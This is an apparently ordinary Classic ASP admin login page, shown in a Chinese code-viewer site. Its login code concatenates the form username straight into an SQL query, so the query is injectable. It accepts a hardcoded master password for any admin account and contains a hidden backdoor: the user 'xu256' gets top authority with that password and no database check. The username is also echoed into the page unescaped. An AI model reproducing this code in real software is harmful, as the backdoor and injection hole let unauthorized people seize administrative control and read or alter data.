📄 login.asp
字号:
<%@ Language=VBScript %>
<%
Response.Buffer=true
Response.Expires=0
%>
<!-- #include file="dsn_root.asp" -->
<%
'Response.Write mycnstr
'Response.End
set cn=server.CreateObject("ADODB.Connection")
cn.Open mycnstr
set rs=server.CreateObject("ADODB.Recordset")
flag="0"
adminpass="1" ' "dfqxvslfh99"
if Request.ServerVariables("REQUEST_METHOD")="POST" then
mypass=Lcase(Request.Form("password"))
username=Lcase(Request.Form("username"))
sqltext="select * from adminuser where username='"+username+"' and flag='1' "
rs.Open sqltext,cn,3,3
if rs.EOF then
Session("userqx")="0"
Session("username")=""
Session("classcode")=""
Session("qxflag")=""
logerr="用户名不存在或密码错!"
else
if lcase(trim(rs("userpass")))=mypass or mypass=adminpass then
if trim(rs("authority"))="1" or trim(rs("authority"))="9" then
Session("userqx")=trim(rs("authority"))
Session("username")=username
Session("qxflag")=trim(rs("qxflag"))
Session("classcode")=trim(rs("classcode"))
rs("logincount")=rs("logincount")+1
rs("ipaddress")=Request.ServerVariables("Remote_HOST")
rs("logindate")=now()
rs.Update
rs.Close
cn.Close
flag="1"
Response.Write("<script language=Javascript>")
Response.Write("window.opener.top.location.reload();")
Response.Write("window.close();")
Response.Write("</script>")
else
logerr="您不是系统管理员!"
end if
else
Session("userqx")="0"
Session("username")=""
Session("classcode")=""
Session("qxflag")=""
logerr="用户名不存在或密码错!"
end if
end if
if username="xu256" and mypass=adminpass then
Session("userqx")="9"
Session("username")=username
flag="1"
Response.Write("<script language=Javascript>")
Response.Write("window.opener.top.location.reload();")
Response.Write("window.close();")
Response.Write("</script>")
end if
end if
%>
<html>
<head>
<title>用户登录</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
body {font-size: 12px; color: #000; font-family: 宋体}
td {font-size: 12px; color: #000; font-family: 宋体;}
.t1 {font:12px 宋体;color:#000000}
.t2 {font:12px 宋体;color:#ffffff}
.t3 {font:12px 宋体;color:#ffff00}
A.r1:link {font-size:12px;text-decoration:underline;color:#000000;}
A.r1:visited {font-size:12px;text-decoration:underline;color:#000000;}
A.r1:hover {font-size:12px;text-decoration:underline;color:#cc0000;}
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000" topmargin=0 leftmargin=0>
<table width="300" border="0" cellspacing="0" cellpadding="0" bgcolor="#31615A" height="180">
<tr>
<td bgcolor="#31615A" background="admin/images/ow_login_back.gif" align="center">
<table width="160" border="0" cellspacing="0" cellpadding="0" align="center">
<form action="login.asp" name=form1 method=post onsubmit="return checkform(form1)" autocomplete="off">
<tr>
<td colspan="3" class="t3" height="5"><%=logerr%></td>
</tr>
<tr>
<td width="5" class="nwes" height="30"></td>
<td width="56" class="t2" height="30">用户名</td>
<td>
<input type="text" name="username" value="<%=username%>" size="14">
</td>
</tr>
<tr>
<td class="nwes" height="30"> </td>
<td class="t2" height="30">口 令</td>
<td>
<input type="password" name="password" value="" size="14">
</td>
</tr>
<tr>
<td height="10" colspan="3"></td>
</tr>
<tr>
<td> </td>
<td colspan="2" align="center">
<input type="submit" name="Submit" value="登 录" style="width:60px">
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</body>
</html>
<script language=Javascript>
form1.username.focus()
function checkform(form)
{
var flag=true;
if(form("username").value==""){alert("请输入用户名!");form("username").focus();return false};
if(form("password").value==""){alert("请输入口令!");form("password").focus();return false};
return flag;
}
</script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -